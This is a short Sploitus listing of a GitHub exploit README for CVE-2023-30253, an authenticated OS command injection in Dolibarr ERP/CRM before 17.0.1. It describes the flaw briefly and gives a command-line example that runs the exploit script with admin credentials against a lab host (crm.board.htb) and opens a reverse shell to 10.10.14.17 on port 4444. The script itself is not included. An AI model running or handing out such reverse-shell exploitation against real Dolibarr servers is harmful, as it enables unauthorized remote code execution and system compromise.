Sploitus

Exploit for OS Command Injection in Dolibarr Dolibarr Erp/Crm

githubexploit Β· 2024-05-26

Exploit Code

README24 lines
## https://sploitus.com/exploit?id=C3EFEA8E-6527-5B6B-BE79-E6F09F6DBCEE
# CVE-2023-30253


  


# Description
 Dolibarr before 17.0.1 allows remote code execution by an authenticated user via an uppercase manipulation: 
  


### Getting a reverse shell
```
 python3 CVE-2023-30253.py --url http://crm.board.htb -u admin -p admin -r  10.10.14.17  4444
```

  



## Author

- [Rubickcuv](https://github.com/Rubikcuv5)